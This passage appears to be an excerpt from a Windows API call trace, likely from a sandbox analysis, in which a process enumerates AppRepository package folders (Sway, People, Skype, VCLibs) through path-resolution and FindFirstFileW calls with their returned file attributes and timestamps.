cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.514] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0214.514] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e0636b, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd1bafd82, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd1bafd82, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.517] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0214.518] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0214.518] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0214.518] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7c [0214.519] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2de01c7, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd1bafd82, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd1bafd82, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.522] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0214.523] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0214.523] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0214.524] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7c [0214.524] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2de01c7, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd1bafd82, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd1bafd82, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.531] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0214.532] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0214.532] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0214.533] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0214.534] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b6f78c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd2e2a0ff, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd2e2a0ff, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.537] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0214.539] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0214.539] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0214.539] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0214.540] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b6f78c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd2e2a0ff, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd2e2a0ff, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.542] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0214.543] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpFilePart=0x0) returned 0x6e [0214.544] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0214.544] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\") returned 0x6f [0214.545] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.548] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0214.549] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpFilePart=0x0) returned 0x6e [0214.549] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0214.549] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\") returned 0x6f [0214.550] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.871] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c", lpFilePart=0x0) returned 0x69 [0214.871] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46e8c39, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.873] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.873] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.874] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.874] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.875] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.875] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.876] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.876] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.876] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.876] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9280fbf2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9280fbf2, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdc26d7fb, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0214.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0214.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0214.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0214.880] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0214.880] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all 